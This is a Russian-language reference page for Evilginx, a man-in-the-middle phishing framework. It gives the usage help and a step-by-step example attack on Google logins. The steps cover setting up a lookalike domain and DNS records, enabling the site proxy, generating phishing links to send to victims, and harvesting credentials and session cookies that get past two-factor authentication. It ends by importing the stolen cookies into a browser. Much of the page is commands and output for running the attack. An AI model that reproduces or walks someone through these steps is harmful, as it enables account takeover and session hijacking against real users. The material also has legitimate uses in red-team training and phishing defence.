Evilginx

Описание Evilginx

Evilginx — платформа для атаки человек-посередине, используемая для фишинга учётных данных и кукиз сеансов любых веб-служб. Её ядро работает на Nginx HTTP сервере с использованием proxy_pass и sub_filter для проксирования и модификации HTTP контента во время перехвата трафика между клиентом и сервером.

Посредством фишинговой атаки возможно перехватить учётные данные для Google, Facebook, LinkedIn, Live, iCloud, Dropbox и других. При этом обходится двухфакторная аутентификация (если она установлена у жертвы). Если жертва вводит неверные учётные данные, то вход не происходит; если введены верные учётные данные, то Evilginx определяет это и перенаправляет жертву на любой URL. Во время атаки хотя и используется фишинговый домен, показывается реальная страница входа на сервис.

Для успешной атаки вам необходимо:

  • сервер (VDS/VPS) с Linux, на котором установлен Evilginx
  • специально зарегестрированный для фишинга домен
  • внести данные в DNS для вашего домена и поддоменов
  • отправить жертве ссылку на фишинговый сайт

Домашняя страница: https://github.com/kgretzky/evilginx

Автор: Kuba Gretzky

Лицензия: MIT

Справка по Evilginx

использование: 

evilginx.py [-h] {setup,parse,genurl} ...
позиционные аргументы:
  {setup,parse,genurl}
    setup               Настройка Evilginx.
    parse               Парсинг фалов логов.
    genurl              Создание фишингово URL.

опциональные аргументы:
  -h, --help            показать справку и выйти

Позиционные аргументы setup, parse и genurl являются чем-то вроде команд, каждая из которых выполняет свою функцию и имеет свои собственные опции.

Setup

Включает или отключает конфигурации сайтов для использования с сервером Nginx, используя поставляемые с Evilginx шаблоны из директории sites.

использование: 

evilginx.py setup [-h] [-d DOMAIN] [--crt CRT] [--key KEY]
                         [--use_letsencrypt] [-y]
                         (-l | --enable ENABLE | --disable DISABLE)
опциональные аргументы:
  -h, --help            показать справку и выйти
  -d ДОМЕН, --domain ДОМЕН
                        Ваш фишинговый домен.
  --crt CRT             Путь до публичного файла SSL/TLS сертификата.
  --key KEY             Путь до файла с приватным ключом SSL/TLS.
  --use_letsencrypt     Восстановить пользовательские SSL/TLS сертификаты
                        на стандартный LetsEncrypt.
  -y                    Отвечать на все вопросы 'Yes', т. е. «Да».
  -l, --list            Вывести список доступных для поддержки приложений.
  --enable ENABLE       Включить следующий сайт по имени.
  --disable DISABLE     Отключить следующий сайт по имени.

Parse

Парсит логи Nginx для извлечения учётных данных и кукиз сеансов. Файлы журналов, по умолчанию, сохраняются в директории, где размещён скрипт evilginx.py. Это может быть сделано автоматически после того, как вы на стадии Setup включили авто-парсинг.

использование: 

evilginx.py parse [-h] -s SITE [--debug]
опциональные аргументы:
  -h, --help            показать справку и выйти
  -s САЙТ, --site САЙТ  Имя сайта чьи логи парсить ('all' для разбора
                        логов всех сайтов).
  --debug               Не обрезать лог файл после парсинга.

Generate URL

Генерирует фишинговые URL.

использование: 

evilginx.py genurl [-h] -s SITE -r REDIRECT
optional arguments:
  -h, --help            показать справку и выйти
  -s САЙТ, --site САЙТ  Имя сайта, для которого создаётся ссылка.
  -r РЕДИРЕКТ, --redirect РЕДИРЕКТ
                        Перенаправлять пользователя на этот URL после успешного входа.

Руководство по Evilginx

Страница man отсутствует.

Примеры запуска

Будет показан пример реализации атаки для конфигурации сайта google. У вас уже должен быть зарегистрирован домен, который вы будете использовать с Evilginx, а должен быть установлен на сервер (например, VDS). Допустим, нашим доменом является not-really-google.com. Зарегистрировать домены можно здесь или здесь.

Настройка домена

В настройках DNS вашего домена вам нужно сделать запись A, которая будет указывать на IP адрес вашего VDS/VPS.

Теперь важная часть. Список доступных сайтов включает информацию о субдоменах:

./evilginx.py setup -l

Будет выведено что-то вроде:

            _ _       _            
           (_) |     (_)           
  _____   ___| | __ _ _ _ __ __  __
 / _ \ \ / / | |/ _` | | '_ \\ \/ /
|  __/\ V /| | | (_| | | | | |>  < 
 \___| \_/ |_|_|\__, |_|_| |_/_/\_\
                 __/ |             
 by @mrgretzky  |___/       v.1.1.0

Listing available supported sites:

 - google (/home/mial/bin/evilginx/sites/google/config)
   subdomains: accounts, ssl
 - linkedin (/home/mial/bin/evilginx/sites/linkedin/config)
   subdomains: www
 - live (/home/mial/bin/evilginx/sites/live/config)
   subdomains: login, account
 - facebook (/home/mial/bin/evilginx/sites/facebook/config)
   subdomains: www, m
 - icloud (/home/mial/bin/evilginx/sites/icloud/config)
   subdomains: www, icloud, edge, setup, idmsa, appleid, id, appcdn
 - dropbox (/home/mial/bin/evilginx/sites/dropbox/config)
   subdomains: www

Это список необходимых субдоменов, которые вам нужно включить в вашу конфигурацию DNS зон, чтобы поднятый на Evilgix сайт мог нормально работать.

Вам нужно создать одну CNAME запись для каждого перечисленного субдомена и она должна указывать на ваш зарегестрированный домен. Например, google требует две CNAME записи:

  • accounts.not-really.google.com которая будет указывать на not-really-google.com..
  • ssl.not-really.google.com которая будет указывать на not-really-google.com..

Включение конфига сайта

Теперь домен должен быть правильно настроен, и все требуемые субдомены должны также указывать на нужное место. Теперь мы можем включить конфигурацию сайта google для Nginx.

python evilginx.py setup --enable google -d not-really-google.com

Аргумент -d not-really-google.com определяет зарегистрированный домен, принадлежащий нам. Следуйте запросам, отвечайте на каждый вопрос Y и Evilginx должен включить авто-парсинг логов и автоматически получить SL/TLS сертификаты от LetsEncrypt используя Certbot.

Вам нужно проверить, всё ли работает должным образом, если есть ошибки, то нужно их исправить и проверить, что DNS зоны настроены должным образом. Возможно, понадобиться несколько часов, пока настройки DNS распространяться по другим серверам, иногда это происходит мгновенно.

Генерация фишинговых URL

Теперь мы сгенерируем наши фишинговые URL, которые будут отправлены жертве:

python evilginx.py genurl -s google -r https://www.youtube.com/watch?v=dQw4w9WgXcQ

Generated following phishing URLs:

 : https://accounts.not-really-google.com/ServiceLogin?rc=0aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g_dj1kUXc0dzlXZ1hjUQ
 : https://accounts.not-really-google.com/signin/v2/identifier?rc=0aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g_dj1kUXc0dzlXZ1hjUQ

Аргумент -r https://www.youtube.com/watch?v=dQw4w9WgXcQ указывает на URL на который будет перенаправлена жертва при успешном входе. В этом сценарии сделан редирект на музыкальное видео.

Как вы можете видеть, Evilginx создал два URL. Один для старой страницы входа Google, другой для новой. Вы можете выбрать любой из них.

Evilginx каждую минуту будет парсить логи. Если кто-то попался и выполнил успешный вход, его учётные данные для входа и кукиз сеанса будут сохранены в директории logs корневой директории Evilginx.

Сессионные кукиз могут быть импортированы с использованием расширения EditThisCookie в Chrome.

Установка Evilginx

Установка в Kali Linux

sudo apt-get install zlib1g-dev
git clone https://github.com/kgretzky/evilginx
cd evilginx
chmod 700 install.sh
sudo ./install.sh

Установка в BlackArch

Программа предустановлена в BlackArch.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты Evilginx

Инструкции по Evilginx

Ссылки на инструкции будут добавлены позже.

Близкие программы:

Рекомендуемые статьи: